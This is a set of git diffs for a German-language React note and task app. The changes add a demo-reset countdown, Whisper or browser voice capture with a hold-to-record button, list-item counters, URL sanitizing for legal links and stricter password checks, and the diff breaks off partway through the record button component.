import { AuthStatus, DashboardStats, PriorityLevel, SharedList, Thought, User, UserTheme } from './lib/types';
@@ -35,6 +36,8 @@ import {
disconnectWebSocket,
isSharingDisabled,
} from './lib/api';
import { useVoiceInput } from './lib/useVoiceInput';
import { VoiceWave } from './components/VoiceWave';
import {
AVAILABLE_THEMES,
customThemeOption,
@@ -44,6 +47,7 @@ import {
ThemeId,
} from './lib/theme';
import { InstantCaptureBar } from './features/capture/InstantCaptureBar';
import { HoldToRecordFab } from './features/capture/HoldToRecordFab';
import { CountBadge } from './components/CountBadge';
import { TriageDeck } from './features/triage/TriageDeck';
import { TasksView } from './features/triage/TasksView';
@@ -51,7 +55,8 @@ import { WorkspaceView } from './features/workspace/WorkspaceView';
import { SharedListsView } from './features/lists/SharedListsView';
import { SetupAndAuthView } from './features/auth/SetupAndAuthView';
import { OfflineBanner } from './components/OfflineBanner';
import { outboxCount } from './lib/offline';
import { outboxCount, clearOfflineData } from './lib/offline';
import { DemoCountdown } from './components/DemoCountdown';
import { UserSettingsView } from './features/settings/UserSettingsView';
import { AdminSettingsView } from './features/settings/AdminSettingsView';
import { HelpView } from './features/help/HelpView';
@@ -122,6 +127,12 @@ export const App: React.FC = () => {
instanceName: 'MindSift',
});
const [user, setUser] = useState<User | null>(null);
// Demo mode: when the next reset happens (local clock), and a counter that remounts all views after it
const [demoDeadline, setDemoDeadline] = useState<number | null>(null);
const [dataEpoch, setDataEpoch] = useState(0);
const [demoNotice, setDemoNotice] = useState<string | null>(null);
const lastDemoResetRef = useRef(0);
const handleDemoResetRef = useRef<() => void>(() => {});
// Link from the password reset mail (?resetToken=…); removed from the address bar right away
const [resetToken, setResetToken] = useState<string | null>(() => {
try {
@@ -141,6 +152,7 @@ export const App: React.FC = () => {
tasksDoneCount: 0,
docsCount: 0,
docsTodosOpenCount: 0,
listItemsOpenCount: 0,
listsCount: 0,
discardedCount: 0,
});
@@ -166,49 +178,31 @@ export const App: React.FC = () => {
const [mobileTriageContent, setMobileTriageContent] = useState('');
const [mobileTriagePriority, setMobileTriagePriority] = useState<PriorityLevel>('normal');
const [mobileTriageDueDate, setMobileTriageDueDate] = useState('');
const [mobileVoiceActive, setMobileVoiceActive] = useState(false);
const [isVoiceCaptured, setIsVoiceCaptured] = useState(false);
const mobileRecognitionRef = useRef<any>(null);
const [mobileVoiceError, setMobileVoiceError] = useState<string | null>(null);
const mobileBaseVoiceRef = useRef('');
// Voice input of the mobile capture sheet: own Whisper server or the browser (lib/voice.ts)
const mobileVoice = useVoiceInput({
onText: (text) => {
if (!text) return;
const base = mobileBaseVoiceRef.current;
setMobileTriageContent(base ? `${base} ${text}` : text);
setIsVoiceCaptured(true);
},
onError: (message) => {
setMobileVoiceError(message);
window.setTimeout(() => setMobileVoiceError(null), 4000);
},
});
const mobileVoiceActive = mobileVoice.state === 'listening';
const toggleMobileVoice = () => {
const SpeechRecognition =
(window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
if (!SpeechRecognition) {
alert('Spracheingabe wird von diesem Browser leider nicht unterstützt.');
return;
}
if (mobileVoiceActive && mobileRecognitionRef.current) {
mobileRecognitionRef.current.stop();
setMobileVoiceActive(false);
return;
}
try {
if (mobileVoice.state === 'idle') {
mobileBaseVoiceRef.current = mobileTriageContent.replace(/\s*\[…\]$/, '').trim();
const recognition = new SpeechRecognition();
recognition.lang = 'de-DE';
recognition.continuous = false;
recognition.interimResults = true;
recognition.onstart = () => {
setMobileVoiceActive(true);
triggerHaptic(20);
};
recognition.onresult = (event: any) => {
let transcript = '';
for (let i = 0; i < event.results.length; i++) {
transcript += event.results[i][0].transcript;
}
const base = mobileBaseVoiceRef.current;
setMobileTriageContent(base ? `${base} ${transcript}` : transcript);
setIsVoiceCaptured(true);
};
recognition.onerror = () => setMobileVoiceActive(false);
recognition.onend = () => setMobileVoiceActive(false);
mobileRecognitionRef.current = recognition;
recognition.start();
} catch {
setMobileVoiceActive(false);
setMobileVoiceError(null);
triggerHaptic(20);
}
mobileVoice.toggle();
};
const handleMobileCreateTriage = async (e: React.FormEvent) => {
@@ -240,7 +234,7 @@ export const App: React.FC = () => {
setMobileTriagePriority('normal');
setMobileTriageDueDate('');
setIsVoiceCaptured(false);
setMobileVoiceActive(false);
if (mobileVoice.state !== 'idle') mobileVoice.cancel();
setShowMobileCapture(true);
};
@@ -462,7 +456,7 @@ export const App: React.FC = () => {
.getThemes()
.then((themes) => handleCustomThemesChange(themes))
.catch(() => {});
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [user?.id]);
const refreshAll = useCallback(async () => {
@@ -550,14 +544,53 @@ export const App: React.FC = () => {
}
}, [user?.id]);
// Refresh stats on task/doc real-time events
useEffect(() => {
setDemoDeadline(
authStatus.demoMode && typeof authStatus.demoResetInSeconds === 'number'
? Date.now() + authStatus.demoResetInSeconds * 1000
: null
);
}, [authStatus.demoMode, authStatus.demoResetInSeconds]);
// The demo database was reset: drop cached answers of the old data, remount the views (they load
// fresh data), refresh counters and the countdown. Sessions stay valid (fixed demo account IDs).
const handleDemoReset = useCallback(() => {
if (Date.now() - lastDemoResetRef.current < 30000) return; // event and countdown may both report it
lastDemoResetRef.current = Date.now();
void clearOfflineData();
setDataEpoch((n) => n + 1);
refreshAll();
api.getAuthStatus().then(setAuthStatus).catch(() => {});
setDemoNotice('Demo-Instanz wurde zurückgesetzt');
window.setTimeout(() => setDemoNotice(null), 4000);
}, [refreshAll]);
handleDemoResetRef.current = handleDemoReset;
// Countdown reached zero but no DEMO_RESET arrived (e.g. long polling): ask the server shortly after
const handleDemoCountdownElapsed = useCallback(() => {
window.setTimeout(() => {
api
.getAuthStatus()
.then((st) => {
if ((st.demoResetInSeconds ?? 0) > 60) handleDemoResetRef.current();
else setAuthStatus(st);
})
.catch(() => {});
}, 5000);
}, []);
// Refresh stats on task/doc/list real-time events (counters in the navigation)
useEffect(() => {
const handleWs = (e: any) => {
const msg = e.detail;
if (!msg) return;
if (msg.event === 'DEMO_RESET') {
handleDemoResetRef.current();
return;
}
if (
typeof msg.event === 'string' &&
(msg.event.startsWith('TASK_') || msg.event.startsWith('DOC_') || msg.event.startsWith('SPACE_'))
['TASK_', 'DOC_', 'SPACE_', 'ITEM_', 'LIST_'].some((prefix) => msg.event.startsWith(prefix))
) {
api.getMe().then((res) => {
setStats(res.stats);
@@ -741,7 +774,16 @@ export const App: React.FC = () => {
<span className="font-bold text-base text-main tracking-tight leading-none">
{authStatus.instanceName || 'MindSift'}
</span>
<span className="text-[9px] text-muted font-mono leading-tight mt-0.5">{APP_VERSION}</span>
{demoDeadline ? (
<DemoCountdown
deadline={demoDeadline}
minutes={authStatus.demoResetMinutes}
onElapsed={handleDemoCountdownElapsed}
className="text-[9px] mt-0.5"
/>
) : (
<span className="text-[9px] text-muted font-mono leading-tight mt-0.5">{APP_VERSION}</span>
)}
</div>
<ChevronDown
className={`w-4 h-4 text-muted transition-transform duration-150 ${
@@ -816,7 +858,16 @@ export const App: React.FC = () => {
<span className="font-bold text-sm sm:text-base text-main tracking-tight leading-none">
{authStatus.instanceName || 'MindSift'}
</span>
<span className="text-[10px] text-muted font-mono leading-tight mt-0.5">{APP_VERSION}</span>
{demoDeadline ? (
<DemoCountdown
deadline={demoDeadline}
minutes={authStatus.demoResetMinutes}
onElapsed={handleDemoCountdownElapsed}
className="text-[10px] mt-0.5"
/>
) : (
<span className="text-[10px] text-muted font-mono leading-tight mt-0.5">{APP_VERSION}</span>
)}
</div>
</div>
@@ -832,11 +883,11 @@ export const App: React.FC = () => {
<button
type="button"
onClick={() => setShowCommandPalette(true)}
className="h-8 px-2.5 rounded-btn bg-panel border border-border text-muted hover:text-main flex items-center gap-1.5 text-xs transition-colors cursor-pointer shrink-0"
title="Globale Suche öffnen (Cmd+K oder /)"
className="w-8 h-8 rounded-full bg-panel border border-border text-muted hover:text-main flex items-center justify-center transition-colors cursor-pointer shrink-0"
title="Globale Suche (Strg+K / ⌘K oder /)"
aria-label="Globale Suche (Strg+K / ⌘K oder /)"
>
<Search className="w-3.5 h-3.5" />
<span className="hidden lg:inline font-mono text-[10px] text-accent font-semibold">⌘K</span>
</button>
</div>
@@ -986,9 +1037,9 @@ export const App: React.FC = () => {
className={`tab-btn ${activeTab === 'triage' ? 'tab-btn-active' : ''}`}
>
<Layers className="w-4 h-4" />
<span className={`relative inline-flex items-center ${stats.inboxCount > 0 ? 'pr-2' : ''}`}>
<span className={`relative inline-flex items-center ${stats.inboxCount > 0 ? 'pr-3' : ''}`}>
<span>Triage</span>
<CountBadge count={stats.inboxCount} variant="accent" position="corner" className="-top-1.5 -right-1" />
<CountBadge count={stats.inboxCount} variant="accent" position="corner" className="-top-0.5 -right-2" />
</span>
</button>
@@ -1000,10 +1051,7 @@ export const App: React.FC = () => {
className={`tab-btn ${activeTab === 'workspace' ? 'tab-btn-active' : ''}`}
>
<FileText className="w-4 h-4" />
<span className={`relative inline-flex items-center ${(stats.docsTodosOpenCount ?? 0) > 0 ? 'pr-2' : ''}`}>
<span>Workspace</span>
<CountBadge count={stats.docsTodosOpenCount} variant="accent" position="corner" className="-top-1.5 -right-1" />
</span>
<span>Workspace</span>
</button>
<button
@@ -1014,9 +1062,9 @@ export const App: React.FC = () => {
className={`tab-btn ${activeTab === 'tasks' ? 'tab-btn-active' : ''}`}
>
<CheckSquare className="w-4 h-4" />
<span className={`relative inline-flex items-center ${stats.tasksOpenCount > 0 ? 'pr-2' : ''}`}>
<span className={`relative inline-flex items-center ${stats.tasksOpenCount > 0 ? 'pr-3' : ''}`}>
<span>Aufgaben</span>
<CountBadge count={stats.tasksOpenCount} variant="accent" position="corner" className="-top-1.5 -right-1" />
<CountBadge count={stats.tasksOpenCount} variant="accent" position="corner" className="-top-0.5 -right-2" />
</span>
</button>
@@ -1028,7 +1076,10 @@ export const App: React.FC = () => {
className={`tab-btn ${activeTab === 'lists' ? 'tab-btn-active' : ''}`}
>
<ShoppingCart className="w-4 h-4" />
<span>Listen</span>
<span className={`relative inline-flex items-center ${(stats.listItemsOpenCount ?? 0) > 0 ? 'pr-3' : ''}`}>
<span>Listen</span>
<CountBadge count={stats.listItemsOpenCount} variant="accent" position="corner" className="-top-0.5 -right-2" />
</span>
</button>
</div>
@@ -1052,11 +1103,19 @@ export const App: React.FC = () => {
<MobileHeaderMenu activeTabLabel={activeTabLabelMap[activeTab]} />
<OfflineBanner />
{demoNotice && (
<div
role="status"
className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] sm:bottom-4 z-[60] px-3 py-1.5 rounded-full border border-accent/40 bg-panel-elevated text-main text-[11px] font-medium shadow-panel"
>
✨ {demoNotice}
</div>
)}
{/* Main Container */}
<main className="flex-1 max-w-6xl w-full mx-auto px-3 sm:px-4 pt-3 pb-24 sm:pb-6">
<ViewErrorBoundary onReset={() => setActiveTab('triage')}>
<section>
<section key={dataEpoch}>
{activeTab === 'triage' && (
<TriageDeck
deck={deck}
@@ -1085,6 +1144,7 @@ export const App: React.FC = () => {
initialBlockId={selectedBlockId}
onStatsChange={refreshAll}
onOpenTask={handleOpenTask}
onOpenSearch={() => setShowCommandPalette(true)}
/>
)}
@@ -1166,18 +1226,14 @@ export const App: React.FC = () => {
}`}
title="Workspace"
>
<div className="relative">
<FileText className="w-5 h-5" />
<CountBadge count={stats.docsTodosOpenCount} variant="accent" position="corner" className="-top-1.5 -right-2.5" />
</div>
<FileText className="w-5 h-5" />
<span className="text-[10px] leading-tight">Workspace</span>
</button>
{/* Col 3 (EXACT CENTER): + Quick-Add FAB */}
<div className="flex items-center justify-center">
<button
type="button"
onClick={() => {
<HoldToRecordFab
onTap={() => {
triggerHaptic(15);
if (primaryAction) {
primaryAction();
@@ -1185,11 +1241,11 @@ export const App: React.FC = () => {
openMobileTriageCapture();
}
}}
className="w-14 h-14 -mt-6 rounded-full bg-accent text-on-accent shadow-lg flex items-center justify-center active:scale-90 transition-transform border-4 border-panel cursor-pointer"
title="Schnell erfassen (+)"
>
<Plus className="w-7 h-7 stroke-[2.5]" />
</button>
onTranscript={async (text) => {
const thought = await api.captureThought(text, 'normal', 'voice', '', { target: 'inbox' });
handleCaptured(thought, 'inbox');
}}
/>
</div>
{/* Col 4: Aufgaben */}
@@ -1223,7 +1279,10 @@ export const App: React.FC = () => {
}`}
title="Listen"
>
<ShoppingCart className="w-5 h-5" />
<div className="relative">
<ShoppingCart className="w-5 h-5" />
<CountBadge count={stats.listItemsOpenCount} variant="accent" position="corner" className="-top-1.5 -right-2.5" />
</div>
<span className="text-[10px] leading-tight">Listen</span>
</button>
</nav>
@@ -1267,21 +1326,49 @@ export const App: React.FC = () => {
autoFocus
value={mobileTriageContent}
onChange={(e) => setMobileTriageContent(e.target.value)}
placeholder="Was geht dir durch den Kopf?…"
className="w-full input-field px-3 py-2 pr-10 text-sm"
placeholder={
mobileVoiceError
? mobileVoiceError
: mobileVoiceActive
? 'Ich höre zu…'
: mobileVoice.state === 'transcribing'
? 'Wird erkannt…'
: 'Was geht dir durch den Kopf?…'
}
className={
mobileVoiceActive && mobileVoice.mode === 'server'
? 'w-full input-field px-3 py-2 pr-24 text-sm'
: 'w-full input-field px-3 py-2 pr-10 text-sm'
}
/>
<button
type="button"
onClick={toggleMobileVoice}
className={`absolute right-1.5 top-1/2 -translate-y-1/2 w-7 h-7 rounded-full flex items-center justify-center transition-colors cursor-pointer ${
mobileVoiceActive
? 'bg-accent text-on-accent animate-pulse'
: 'text-muted hover:text-main hover:bg-panel-elevated'
}`}
title="Spracheingabe"
>
{mobileVoiceActive ? <MicOff className="w-3.5 h-3.5" /> : <Mic className="w-3.5 h-3.5" />}
</button>
{mobileVoice.available && (
<div className="absolute right-1.5 top-1/2 -translate-y-1/2 flex items-center gap-2">
{mobileVoiceActive && mobileVoice.mode === 'server' && (
<VoiceWave getLevel={mobileVoice.level} bars={7} className="h-4 text-accent" />
)}
<button
type="button"
onClick={toggleMobileVoice}
disabled={mobileVoice.state === 'transcribing'}
className={`w-9 h-9 rounded-full flex items-center justify-center transition-colors cursor-pointer ${
mobileVoiceActive
? mobileVoice.mode === 'server'
? 'bg-status-err text-on-accent'
: 'bg-accent text-on-accent animate-pulse'
: 'text-muted hover:text-main hover:bg-panel-elevated'
}`}
title={mobileVoiceActive ? 'Aufnahme beenden' : 'Spracheingabe'}
>
{mobileVoice.state === 'transcribing' ? (
<Loader2 className="w-4 h-4 animate-spin" />
) : mobileVoiceActive ? (
<MicOff className="w-4 h-4" />
) : (
<Mic className="w-4 h-4" />
)}
</button>
</div>
)}
</div>
</div>
@@ -6,7 +6,6 @@ import {
ShoppingCart,
X,
Loader2,
ArrowRight,
CornerDownLeft,
} from 'lucide-react';
import { SearchHit } from '../lib/types';
+38
View File
@@ -0,0 +1,38 @@
import React, { useEffect, useState } from 'react';
interface DemoCountdownProps {
deadline: number; // ms timestamp of the next reset, in this browser's clock
minutes?: number;
className?: string;
onElapsed?: () => void;
}
const fmt = (ms: number) => {
const total = Math.max(0, Math.round(ms / 1000));
return `${String(Math.floor(total / 60)).padStart(2, '0')}:${String(total % 60).padStart(2, '0')}`;
};
// "✨ Demo · Reset in MM:SS" in place of the version under the app name while the demo mode resets itself
export const DemoCountdown: React.FC<DemoCountdownProps> = ({ deadline, minutes, className = '', onElapsed }) => {
const [now, setNow] = useState(() => Date.now());
useEffect(() => {
const timer = window.setInterval(() => setNow(Date.now()), 1000);
return () => window.clearInterval(timer);
}, []);
const left = deadline - now;
useEffect(() => {
if (left <= 0) onElapsed?.();
// Runs when the deadline passes, not on every tick
}, [left <= 0, deadline]);
return (
<span
className={`font-mono leading-tight text-accent ${className}`}
title={`Diese Test-Instanz wird alle ${minutes || 20} Minuten automatisch auf den Ausgangszustand zurückgesetzt.`}
>
✨ Demo · {left > 0 ? `Reset in ${fmt(left)}` : 'wird zurückgesetzt…'}
</span>
);
};
+3 -2
View File
@@ -3,6 +3,7 @@ import { AuthStatus } from '../lib/types';
import { api } from '../lib/api';
import { MarkdownViewer } from '../lib/markdown';
import { ReadingModal } from './ReadingModal';
import { safeHref } from '../lib/safeUrl';
type LegalType = 'imprint' | 'privacy';
const TITLES: Record<LegalType, string> = { imprint: 'Impressum', privacy: 'Datenschutz' };
@@ -41,8 +42,8 @@ export const LegalLinks: React.FC<LegalLinksProps> = ({ legal, className = '', c
return (
<div className={`flex flex-wrap items-center justify-center gap-x-4 gap-y-1 text-[11px] text-muted ${className}`}>
{entries.map((e) =>
e.url ? (
<a key={e.type} href={e.url} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
e.url && safeHref(e.url) ? (
<a key={e.type} href={safeHref(e.url) as string} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
{TITLES[e.type]}
</a>
) : (
+58
View File
@@ -0,0 +1,58 @@
import React, { useEffect, useRef } from 'react';
interface VoiceWaveProps {
/** Input level 0..1; null (unknown, e.g. browser recognition) shows a calm idle wave. */
getLevel: () => number | null;
bars?: number;
/** Bar colour and size come from the caller, e.g. "h-4 text-accent". */
className?: string;
}
// Live wave reacting to the voice. Heights are set directly on the bars every frame, so React does
// not re-render 60 times a second.
export const VoiceWave: React.FC<VoiceWaveProps> = ({ getLevel, bars = 5, className = 'h-4 text-accent' }) => {
const barRefs = useRef<(HTMLSpanElement | null)[]>([]);
const getLevelRef = useRef(getLevel);
getLevelRef.current = getLevel;
useEffect(() => {
const history: number[] = new Array(bars).fill(0);
let frame = 0;
let raf = 0;
const reduceMotion = window.matchMedia?.('(prefers-reduced-motion: reduce)').matches;
const tick = () => {
frame++;
const measured = getLevelRef.current();
const level = measured ?? 0.25 + 0.2 * Math.sin(frame / 9);
// Newest level enters in the middle and travels outwards
if (frame % 3 === 0) {
history.pop();
history.unshift(level);
}
const mid = Math.floor(bars / 2);
barRefs.current.forEach((el, i) => {
if (!el) return;
const v = reduceMotion ? 0.5 : history[Math.abs(i - mid)] ?? 0;
el.style.transform = `scaleY(${Math.max(0.15, Math.min(1, v * 1.4))})`;
});
raf = requestAnimationFrame(tick);
};
raf = requestAnimationFrame(tick);
return () => cancelAnimationFrame(raf);
}, [bars]);
return (
<span className={`inline-flex items-center gap-[3px] ${className}`} aria-hidden="true">
{Array.from({ length: bars }, (_, i) => (
<span
key={i}
ref={(el) => {
barRefs.current[i] = el;
}}
className="w-[3px] h-full rounded-full bg-current origin-center transition-transform duration-75"
style={{ transform: 'scaleY(0.15)' }}
/>
))}
</span>
);
};
@@ -0,0 +1,22 @@
import { describe, it, expect } from 'vitest';
import { render } from '@testing-library/react';
import { AvatarStack } from '../AvatarStack';
const people = ['Anna', 'Ben', 'Carla', 'Dana', 'Emil'].map((name, i) => ({ id: `u${i}`, name }));
describe('AvatarStack (who a list or note is shared with)', () => {
it('shows at most three people and the rest as +n', () => {
const { container } = render(<AvatarStack people={people} />);
expect(container.textContent).toContain('+2');
expect(container.firstElementChild?.children.length).toBe(4); // 3 avatars + overflow circle
});
it('renders nothing for an unshared item', () => {
expect(render(<AvatarStack people={[]} />).container.firstChild).toBeNull();
});
it('needs no overflow circle when everyone fits', () => {
const { container } = render(<AvatarStack people={people.slice(0, 2)} />);
expect(container.textContent).not.toContain('+');
});
});
@@ -15,6 +15,7 @@ import { AuthStatus, SharingMode, User } from '../../lib/types';
import { api, triggerHaptic } from '../../lib/api';
import { ToggleSwitch } from '../../components/ToggleSwitch';
import { LegalLinks } from '../../components/LegalLinks';
import { passwordProblem } from '../../lib/password';
interface SetupAndAuthViewProps {
authStatus: AuthStatus;
@@ -74,6 +75,12 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
const handleResetPassword = async (e: React.FormEvent) => {
e.preventDefault();
setError(null);
const resetProblem = passwordProblem(newPassword);
if (resetProblem) {
setError(resetProblem);
triggerHaptic(25);
return;
}
if (newPassword !== newPasswordConfirm) {
setError('Die eingegebenen Passwörter stimmen nicht überein.');
triggerHaptic(25);
@@ -99,6 +106,12 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
e.preventDefault();
setError(null);
const setupProblem = passwordProblem(setupPassword);
if (setupProblem) {
setError(setupProblem);
triggerHaptic(25);
return;
}
if (setupPassword !== setupPasswordConfirm) {
setError('Die eingegebenen Passwörter stimmen nicht überein.');
triggerHaptic(25);
@@ -143,6 +156,12 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
const handleRegisterOrInvite = async (e: React.FormEvent) => {
e.preventDefault();
setError(null);
const registerProblem = passwordProblem(password);
if (registerProblem) {
setError(registerProblem);
triggerHaptic(25);
return;
}
setSubmitting(true);
triggerHaptic(15);
try {
@@ -235,8 +254,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
type="password"
value={setupPassword}
onChange={(e) => setSetupPassword(e.target.value)}
placeholder="Mindestens 4 Zeichen"
minLength={4}
placeholder="Mindestens 8 Zeichen"
required
className="w-full h-8 px-2.5 input-field"
/>
@@ -248,7 +266,6 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
value={setupPasswordConfirm}
onChange={(e) => setSetupPasswordConfirm(e.target.value)}
placeholder="Passwort erneut eingeben"
minLength={4}
required
className={`w-full h-8 px-2.5 input-field ${
setupPasswordConfirm && setupPassword !== setupPasswordConfirm
@@ -529,7 +546,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
type="password"
value={newPassword}
onChange={(e) => setNewPassword(e.target.value)}
minLength={4}
placeholder="Mindestens 8 Zeichen"
required
autoFocus
autoComplete="new-password"
@@ -542,7 +559,6 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
type="password"
value={newPasswordConfirm}
onChange={(e) => setNewPasswordConfirm(e.target.value)}
minLength={4}
required
autoComplete="new-password"
className="w-full h-11 sm:h-8 px-2.5 input-field text-base sm:text-xs"
@@ -716,8 +732,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
type="password"
value={password}
onChange={(e) => setPassword(e.target.value)}
placeholder="Mindestens 4 Zeichen"
minLength={4}
placeholder="Mindestens 8 Zeichen"
required
className="w-full h-8 px-2.5 input-field"
/>
@@ -0,0 +1,320 @@
import React, { useEffect, useRef, useState } from 'react';
import { Mic, Plus } from 'lucide-react';
import { triggerHaptic } from '../../lib/api';
import { useVoiceInput } from '../../lib/useVoiceInput';
import { VoiceWave } from '../../components/VoiceWave';
export interface HoldToRecordFabProps {
onTap: () => void;
onTranscript: (text: string) => Promise<void> | void;
}
const HOLD_DELAY_MS = 350;
const CANCEL_DRAG_PX = 60;
const STOP_TIMEOUT_MS = 1500;
const TOAST_DURATION_MS = 2500;
export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTranscript }) => {
const [isRecording, setIsRecording] = useState(false);
const [isCancelZone, setIsCancelZone] = useState(false);
const [liveTranscript, setLiveTranscript] = useState('');
const [toastMessage, setToastMessage] = useState<string | null>(null);
const isPressedRef = useRef(false);
// A press that turned into a hold must not also count as a tap when the browser sends its click
const suppressClickRef = useRef(false);
const didEnterHoldRef = useRef(false);
const fallbackHandledRef = useRef(false);
const isCancelZoneRef = useRef(false);
const finalizedRef = useRef(false);
const startYRef = useRef(0);
const transcriptRef = useRef('');
const holdTimerRef = useRef<number | null>(null);
const stopTimerRef = useRef<number | null>(null);
const toastTimerRef = useRef<number | null>(null);
const clearHoldTimer = () => {
if (holdTimerRef.current !== null) {
window.clearTimeout(holdTimerRef.current);
holdTimerRef.current = null;
}
};
const clearStopTimer = () => {
if (stopTimerRef.current !== null) {
window.clearTimeout(stopTimerRef.current);
stopTimerRef.current = null;
}
};
const showToast = (msg: string, sticky = false) => {
if (toastTimerRef.current !== null) {
window.clearTimeout(toastTimerRef.current);
toastTimerRef.current = null;
}
setToastMessage(msg);
if (sticky) return;
toastTimerRef.current = window.setTimeout(() => {
setToastMessage(null);
toastTimerRef.current = null;
}, TOAST_DURATION_MS);
};
const finalizeRecording = async (text: string) => {
if (finalizedRef.current) return;
finalizedRef.current = true;
clearStopTimer();
setLiveTranscript('');
const trimmed = text.trim();
if (!trimmed) {
showToast('Nichts erkannt');
return;
}
try {
await onTranscript(trimmed);
triggerHaptic(25);
showToast('Im Quick Dump gespeichert');
} catch {
showToast('Fehler beim Speichern');
}
};
// Own Whisper server (text after release) or the browser's recognition (text while speaking)
const voice = useVoiceInput({
continuous: true,
onText: (text, final) => {
transcriptRef.current = text;
if (!final) {
setLiveTranscript(text);
return;
}
void finalizeRecording(text);
},
onError: (message) => {
clearStopTimer();
setIsRecording(false);
setIsCancelZone(false);
setLiveTranscript('');
if (didEnterHoldRef.current && isPressedRef.current && !fallbackHandledRef.current) {
// Recording could not start: open the normal capture sheet instead
fallbackHandledRef.current = true;
showToast(message);
onTap();
return;
}
finalizedRef.current = true;
showToast(message);
},
});
useEffect(() => {
return () => {
clearHoldTimer();
clearStopTimer();
if (toastTimerRef.current !== null) {
window.clearTimeout(toastTimerRef.current);
}
};
}, []);
useEffect(() => {
if (voice.state === 'transcribing') showToast('Wird erkannt…', true);
}, [voice.state]);
const startVoiceRecording = () => {
if (voice.mode === 'off' || voice.mode === 'unsupported') {
fallbackHandledRef.current = true;
if (voice.mode === 'unsupported') showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
onTap();
return;
}
transcriptRef.current = '';
finalizedRef.current = false;
isCancelZoneRef.current = false;
setLiveTranscript('');
setIsCancelZone(false);
setIsRecording(true);
triggerHaptic([15, 60, 25]);
void voice.start();
};
const handlePointerDown = (e: React.PointerEvent<HTMLButtonElement>) => {
if (e.pointerType === 'mouse' && e.button !== 0) return;
try {
e.currentTarget.setPointerCapture?.(e.pointerId);
} catch {
// ignore if unsupported in environment
}
clearHoldTimer();
clearStopTimer();
isPressedRef.current = true;
suppressClickRef.current = false;
didEnterHoldRef.current = false;
fallbackHandledRef.current = false;
isCancelZoneRef.current = false;
startYRef.current = e.clientY;
holdTimerRef.current = window.setTimeout(() => {
holdTimerRef.current = null;
if (!isPressedRef.current) return;
didEnterHoldRef.current = true;
suppressClickRef.current = true;
startVoiceRecording();
}, HOLD_DELAY_MS);
};
const handlePointerMove = (e: React.PointerEvent<HTMLButtonElement>) => {
if (!isPressedRef.current || !didEnterHoldRef.current || fallbackHandledRef.current) return;
const deltaUp = startYRef.current - e.clientY;
const inCancel = deltaUp > CANCEL_DRAG_PX;
if (inCancel !== isCancelZoneRef.current) {
isCancelZoneRef.current = inCancel;
setIsCancelZone(inCancel);
triggerHaptic(10);
}
};
const handlePointerUp = (e: React.PointerEvent<HTMLButtonElement>) => {
try {
e.currentTarget.releasePointerCapture?.(e.pointerId);
} catch {
// ignore
}
if (!isPressedRef.current) return;
isPressedRef.current = false;
clearHoldTimer();
if (!didEnterHoldRef.current) {
// A short tap opens on the click that follows. Opening here already would let that click land
// on the freshly opened sheet's backdrop and close it again at once.
return;
}
if (fallbackHandledRef.current) {
return;
}
setIsRecording(false);
setIsCancelZone(false);
if (isCancelZoneRef.current) {
finalizedRef.current = true;
clearStopTimer();
setLiveTranscript('');
triggerHaptic(15);
voice.cancel();
return;
}
// The browser's recognition sometimes never reports its end: save what was heard after a moment.
// The own server answers when it is done (with its own time limit).
if (voice.mode !== 'server') {
stopTimerRef.current = window.setTimeout(() => {
voice.cancel();
void finalizeRecording(transcriptRef.current);
}, STOP_TIMEOUT_MS);
}
void voice.stop();
};
const handlePointerCancel = (e: React.PointerEvent<HTMLButtonElement>) => {
try {
e.currentTarget.releasePointerCapture?.(e.pointerId);
} catch {
// ignore
}
if (!isPressedRef.current) return;
isPressedRef.current = false;
clearHoldTimer();
clearStopTimer();
if (didEnterHoldRef.current && !fallbackHandledRef.current) {
finalizedRef.current = true;
setIsRecording(false);
setIsCancelZone(false);
setLiveTranscript('');
voice.cancel();
}
};
const displayedTranscript =
liveTranscript.length > 180 ? `…${liveTranscript.slice(-180)}` : liveTranscript;
return (
<>
{isRecording && (
<div
className={
isCancelZone
? 'fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] z-50 w-max max-w-[calc(100vw-1.5rem)] px-4 py-2.5 rounded-card bg-panel-elevated border border-status-err text-status-err shadow-panel pointer-events-none text-center'
: 'fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] z-50 w-max max-w-[calc(100vw-1.5rem)] px-4 py-2.5 rounded-card bg-panel-elevated border border-border text-main shadow-panel pointer-events-none text-center'
}
>
{isCancelZone ? (
<div className="text-xs font-semibold">🗑️ Zum Abbrechen loslassen</div>
) : (
<div className="space-y-1">
<div className="text-xs font-semibold text-main flex items-center justify-center gap-2">
{voice.mode === 'server' && <VoiceWave getLevel={voice.level} bars={7} className="h-4 text-accent" />}
Ich höre zu… (loslassen speichert)
</div>
{displayedTranscript ? (
<div className="text-xs text-muted break-words max-w-[calc(100vw-3rem)]">
{displayedTranscript}
</div>
) : (
<div className="text-[11px] text-faint">Nach oben ziehen zum Abbrechen</div>
)}
</div>
)}
</div>
)}
{!isRecording && toastMessage && (
<div
role="status"
aria-live="polite"
className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] z-50 w-max max-w-[calc(100vw-1.5rem)] px-4 py-2 rounded-pill bg-panel-elevated border border-border text-main text-xs font-medium shadow-panel pointer-events-none text-center"
>
{toastMessage}
</div>
)}
<button
type="button"
onPointerDown={handlePointerDown}
onPointerMove={handlePointerMove}
onPointerUp={handlePointerUp}
onPointerCancel={handlePointerCancel}
onContextMenu={(e) => e.preventDefault()}
// Taps, keyboard, screen readers and switch control all end in a click; after a hold it is ignored
onClick={() => {
